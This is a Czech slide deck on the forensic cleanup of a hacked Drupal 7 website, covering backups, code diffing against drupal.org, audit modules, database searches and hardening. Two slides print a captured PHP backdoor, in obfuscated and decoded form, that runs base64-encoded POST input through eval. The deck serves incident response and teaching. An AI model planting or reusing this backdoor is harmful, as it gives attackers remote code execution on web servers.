Usecase
● Kdo jecílem?
● Monitoring
Reálný příklad
● Nová poptávka
● Asi nejhorší možný scénář
● Nový zákazník kterého neznáme
● Neznáme web
● Neznáme zázemí (hosting)
● Žádné kontakty na předchozího vývojáře
12.
Audit I.
● Kdoje cílem?
● Monitoring
● Usecase
Než řeknete ANO
● Zjistit o nejvíce
● http://mxtoolbox.com/NetworkTools.aspx
● Kdo je vlastník?
● Má i jiné projekty?
● Zjistím hosting?
● Co hosting nabízí? (FTP / Git?)
● Je web dostupný?
● Co je účelem webu?
● Je pro zákazníka kritický?
● Budete nuceni s někým spolupracovat? (podpora
hostingu)
● Jak vypadá výstup (HMTL/CSS/JS) webu?
13.
Audit I.
● Kdoje cílem?
● Monitoring
● Usecase
Náš případ
● web rozesílá e-mail spam
● Drupal 7.32
● web je dostupný
● podezření na špatně implementovanou theme
● Zjistil jsem majitele (nikdo mě nepřeprodává)
● Běžný hosting (FTP)
● V té době hosting nabádal k úpravě jádra!
● Web je pro zákazníka kritický (kontaktní info)
https://twitter.com/radimklaska/status/402923875111272448
14.
Audit I.
● Kdoje cílem?
● Monitoring
● Usecase
Ano / vlastní web
15.
Forensic Copy
● Kdoje cílem?
● Monitoring
● Usecase
● Audit I.
Čas na zálohu
● Zálohovat vše
● Soubory
● Databáze
● Logy
● DNS
● Přístupové údaje
● Další klíčové informace (kdo má přístupy?)
16.
Forensic Copy
● Kdoje cílem?
● Monitoring
● Usecase
● Audit I.
Nikdy nepracovat
se zálohou
17.
Forensic Copy
● Kdoje cílem?
● Monitoring
● Usecase
● Audit I.
Nikdy nepracovat
se zálohou
18.
Audit II.
● Kdoje cílem?
● Monitoring
● Usecase
● Audit I.
● Forensic Copy
Zprovoznit
lokální verzi
19.
Audit II.
● Kdoje cílem?
● Monitoring
● Usecase
● Audit I.
● Forensic Copy
Strategie
● Záloha je pouze ke čtení
● Report píšeme od samého začátku
● Změníme přístupové údaje
● Musíme/můžeme se starat o bezpečnost hostingu?
● Lokální verzi analyzujeme a opravujeme za pochodu
● Živý web můžeme mezitím smazat a nahradit
jednoduchým index.html pro rychlé spuštění
● Využijeme contrib kódu k detekci změn
● Další nástroje nám pomohou s analýzou problému
● Důkladná analýza logů
● Analýza a oprava databáze
● Deployment
20.
Audit II.
● Kdoje cílem?
● Monitoring
● Usecase
● Audit I.
● Forensic Copy
Přístupové údaje
● Hesla uložená v FTP klientech?
● Spousta přístupů se dá úplně zakázat v době kdy
neprobíhá vývoj.
● Je nebezpečí kompromitovaného mailu klienta?
● Dvoufázové přihlášení
● FTP WTF?!? - SFTP / FTPS / SSH / Git
21.
Audit II.
● Kdoje cílem?
● Monitoring
● Usecase
● Audit I.
● Forensic Copy
Aktuální stav
● https://www.drupal.org/project/site_audit
22.
Audit II.
● Kdoje cílem?
● Monitoring
● Usecase
● Audit I.
● Forensic Copy
Aktuální stav
● https://www.drupal.org/project/site_audit
23.
Audit II.
● Kdoje cílem?
● Monitoring
● Usecase
● Audit I.
● Forensic Copy
Aktuální stav
● https://www.drupal.org/project/site_audit
● https://www.drupal.org/project/hacked
24.
Audit II.
● Kdoje cílem?
● Monitoring
● Usecase
● Audit I.
● Forensic Copy
Aktuální stav
● https://www.drupal.org/project/site_audit
● https://www.drupal.org/project/hacked
● https://www.drupal.org/project/drupalgeddon
25.
Audit II.
● Kdoje cílem?
● Monitoring
● Usecase
● Audit I.
● Forensic Copy
Analýza kódu
● “Co tam je” vs. “Co tam má být”
● Většina kódu je z Drupal.org
● Nástroje
○ Git
○ Drush
○ Vývojové prostředí (PHPStorm...)
● git commit aktuální stav
● Rozdělit na
○ uživatelské soubory (.gitignore)
○ kód (jádro, moduly)
26.
Audit II.
● Kdoje cílem?
● Monitoring
● Usecase
● Audit I.
● Forensic Copy
Uživatelské soubory
● sites/*/files/*
● Žádné spustitelné soubory!
● TIP: Vypíše všechny koncovky:
find sites/default/files -type f | awk -
F. '!a[$NF]++{print $NF}'
● Smazat vše podezřelé
27.
Audit II.
● Kdoje cílem?
● Monitoring
● Usecase
● Audit I.
● Forensic Copy
Kód (contrib)
● git diff mezi drupal.org a aktuálním kódem
● drush generate-makefile current.make
○ http://drushcommands.com/drush-
8x/make/make-generate/
○ makefile obsahuje i použité verze
● Zkontrolovat a opravit umístění custom modulů
● Smazat vše kromě /sites
● Smazat contrib v /sites
● drush make current.make
○ http://drushcommands.com/drush-
8x/make/make/
○ stejné projekty ale čisté u drupal.org
● git diff HEAD^..HEAD
● contrib hacks vs. real hacks
● Pozor na libraries - manuálně
Audit II.
● Kdoje cílem?
● Monitoring
● Usecase
● Audit I.
● Forensic Copy
Nákaza
Obsah souborů:
<?php
$sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].
$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].
$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF
[10]);$s22=${strtoupper($sF[11].$sF[0].$sF
[7].$sF[9].$sF[2])}['n7f2521'];if(isset
($s22)){eval($s21($s22));}?>
Tyto zachycené nákazy poskytl Ing. Petr Kratochvíl - http://krato.cz
32.
Audit II.
● Kdoje cílem?
● Monitoring
● Usecase
● Audit I.
● Forensic Copy
Nákaza
Obsah souborů:
<?php
$sF = "PCT4BA6ODSE_";
$s21 = "base64_decode";
$s22 = $_POST['n7f2521'];
if (isset($s22))
{
eval(base64_decode($s22));
}
?>
Tyto zachycené nákazy poskytl Ing. Petr Kratochvíl - http://krato.cz
33.
Audit II.
● Kdoje cílem?
● Monitoring
● Usecase
● Audit I.
● Forensic Copy
Kód (custom)
● je třeba najít a zkontrolovat převážně ručně
● vývojové prostředí pomůže s formátováním kódu dle
Drupal coding standards (https://www.drupal.
org/coding-standards) pro lepší čitelnost
● https://www.drupal.org/project/coder
○ Integruje Code Sniffer
○ https://github.
com/FloeDesignTechnologies/phpcs-security-
audit
● nejde jen o vlastní moduly, ale i o šablony!
34.
Audit II.
● Kdoje cílem?
● Monitoring
● Usecase
● Audit I.
● Forensic Copy
Databáze
● Nákaza se těžko hledá
● https://www.drupal.org/project/drupalgeddon
testuje i databázi (http://cgit.drupalcode.
org/drupalgeddon/tree/checks/bad_menu_router_call
backs_check.inc)
● PHP_filter = zlo
● TIP: Adminer dovoluje lehce hledat řetězec napříč
všemi tabulkami.
● Začněte s eval, _decode, $_POST, php…
● Problém může být i v prostém oprávnění
○ /admin/config/content/formats
○ /admin/people/permissions
○ /admin/reports/status
Adminer: https://www.adminer.org/cs/
35.
Zprovoznění
● Kdo jecílem?
● Monitoring
● Usecase
● Audit I.
● Forensic Copy
● Audit II.
Čistý web
● Web je nyní čistě implementovaný
○ Pokud jsou ponechány úpravy contrib kódu, tak
jsou implementovány čistě (např. kombinací .
make a .patch souborů) a verzovány.
○ https://www.drupal.org/node/1432374
● Aktualizace (minimálně bezpečnostní)
○ drush ups
○ drush up
● Migrace na hosting
○ git push / drush sql-sync
○ https://github.com/git-ftp/git-ftp :(
36.
Zprovoznění
● Kdo jecílem?
● Monitoring
● Usecase
● Audit I.
● Forensic Copy
● Audit II.
Záchrana dokončena
● Web běží, je na čase se připravit na klienta
● Připravit report
○ Přehled - rychlý souhrn pro klienta a pro vás po
ročním odstupu
○ Technické detaily
■ git repozitář s celou historií oprav
■ veškeré “diffy” včetně příkazů které je
vytvořily
○ Plán/seznam následujících oprav
● Prevence
37.
Prevence
● Kdo jecílem?
● Monitoring
● Usecase
● Audit I.
● Forensic Copy
● Audit II.
● Zprovoznění
Neprůstřelný web?
38.
Prevence
● Kdo jecílem?
● Monitoring
● Usecase
● Audit I.
● Forensic Copy
● Audit II.
● Zprovoznění
● Jednoduše to nejde.
● Minimalizace rizika a zbytečné práce.
Neprůstřelný web?
39.
Prevence
● Kdo jecílem?
● Monitoring
● Usecase
● Audit I.
● Forensic Copy
● Audit II.
● Zprovoznění
● Jednoduše to nejde.
● Minimalizace rizika a zbytečné práce.
● Verzování pomůže rychle identifikovat problém.
Neprůstřelný web?
40.
Prevence
● Kdo jecílem?
● Monitoring
● Usecase
● Audit I.
● Forensic Copy
● Audit II.
● Zprovoznění
● Jednoduše to nejde.
● Minimalizace rizika a zbytečné práce.
● Verzování pomůže rychle identifikovat problém.
● Správně nastavený server
○ http://blog.celogeek.com/201209/202/how-to-
configure-nginx-php-fpm-drupal-7-0/
○ žádná práva zápisu s vyjímkou sites/*/files/*
○ spustit lze jen index.php
Neprůstřelný web?
41.
Prevence
● Kdo jecílem?
● Monitoring
● Usecase
● Audit I.
● Forensic Copy
● Audit II.
● Zprovoznění
● Jednoduše to nejde.
● Minimalizace rizika a zbytečné práce.
● Verzování pomůže rychle identifikovat problém.
● Správně nastavený server
○ http://blog.celogeek.com/201209/202/how-to-
configure-nginx-php-fpm-drupal-7-0/
○ žádná práva zápisu s vyjímkou sites/*/files/*
○ spustit lze jen index.php
● Automatizované procesy
○ zálohy
○ deployment
Neprůstřelný web?
42.
Důvody
● Kdo jecílem?
● Monitoring
● Usecase
● Audit I.
● Forensic Copy
● Audit II.
● Zprovoznění
● Prevence
SA-CORE-2014-005
Souhrn
● Kdo jecílem?
● Monitoring
● Usecase
● Audit I.
● Forensic Copy
● Audit II.
● Zprovoznění
● Prevence
● Důvody
Co si odnést
● Nebojujte s best practices
● Používejte Git
● Přestaňte používat čisté FTP
● Sledujte https://www.drupal.org/security & https:
//www.drupal.org/security/contrib (newsletter)
● Nastavte si Code Sniffer ve svém vývojovém prostředí
○ Pravidla dodržujte průběžně, ne “až na konec”
● Vyzkoušejte
○ https://pantheon.io/
○ http://getdevshop.com/
○ https://github.com/geerlingguy/drupal-vm